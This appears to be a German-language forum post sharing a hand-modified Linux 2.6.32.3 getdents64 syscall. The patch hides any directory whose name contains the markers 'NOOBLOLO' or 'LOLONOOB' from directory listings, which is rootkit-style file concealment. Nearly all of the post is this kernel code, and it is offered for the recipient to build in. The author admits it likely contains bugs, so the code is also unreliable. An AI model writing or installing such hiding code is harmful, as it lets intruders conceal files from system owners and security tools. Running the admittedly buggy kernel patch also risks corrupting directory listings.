?
also das war mal ne action aber ich hoffe es macht jetzt was es soll, auch wenn ich den sinn noch nicht ganz verstanden hab, man kann über die console wenn man den namen weiß immer noch auf die ordner zugreifen, denke nicht das es das ist was du wolltest aber naja, ich bin froh das meine ersten experimente mehr oder weniger geklappt haben...
also die version an der ich rum gepfuscht hab ist 2.6.32.3 und ich habs direct in die "getdents64" function ein gebaut das andere war mir zu umständlich ach ja und ein #define hab ich auch noch mit rein, der rest ist eigentlich fast identisch, aber wenn du das bei dir einbauen willst was ich ja nicht machen würd, kannst es eh vergleichen, genug geschwafelt, ich posts einfach mal
axo ich bin ja der meinung das man statt dem memmove() locker auch ein memcpy() nehmen kann da eh nur zurück kopiert wird
und der ein oder andere bug versteckt sich da sicher auch noch, wies immer ist :p
linux-2.6.32.3/fs/readdir.c
//new helper macro :(
#define DIRENT64_PTR_ADD(d,b) \
((struct linux_dirent64 __user *)(((void __user *)d) + b))
SYSCALL_DEFINE3(getdents64, unsigned int, fd,
struct linux_dirent64 __user *, dirent, unsigned int, count)
{
struct file * file;
struct linux_dirent64 __user * lastdirent;
//hatte *d vorhin ohne __user wenn das probleme macht
//versuchs mal ohne?
struct linux_dirent64 __user *d;//new
struct getdents_callback64 buf;
int bpos;//new
int offset;//new
int error;
error = -EFAULT;
if (!access_ok(VERIFY_WRITE, dirent, count))
goto out;
error = -EBADF;
file = fget(fd);
if (!file)
goto out;
buf.current_dir = dirent;
buf.previous = NULL;
buf.count = count;
buf.error = 0;
error = vfs_readdir(file, filldir64, &buf);
if (error >= 0)
error = buf.error;
/////////////////////
//v-new
count -= buf.count;
if (count > 0
&& buf.previous) {
d = dirent;
offset = 0;
bpos = 0;
while (bpos < count) {
d = DIRENT64_PTR_ADD(dirent,bpos);
if (offset > 0) {
if (DIRENT64_PTR_ADD(d,offset) == buf.previous)
buf.previous = d;
memmove( d
,DIRENT64_PTR_ADD(d,offset)
,DIRENT64_PTR_ADD(d,offset)->d_reclen
);
}
if (d->d_type == DT_DIR
&& (strstr(d->d_name,"NOOBLOLO") != 0
|| strstr(d->d_name,"LOLONOOB") != 0)) {
printk( KERN_DEBUG
"LOLO_HIDE_FILE :: getdents64 :: %s"
,d->d_name
);
buf.count += d->d_reclen;
offset += d->d_reclen;
count -= d->d_reclen;
continue;
}
bpos += d->d_reclen;
}
//zero out the overhead
if (offset > 0) {
memset(
DIRENT64_PTR_ADD(
buf.previous
,buf.previous->d_reclen
)
,0,offset);
}
}
//^-new
/////////////////////
lastdirent = buf.previous;
if (lastdirent) {
typeof(lastdirent->d_off) d_off = file->f_pos;
if (__put_user(d_off, &lastdirent->d_off))
error = -EFAULT;
else
error = count;
}
fput(file);
out:
return error;
}
lg lolo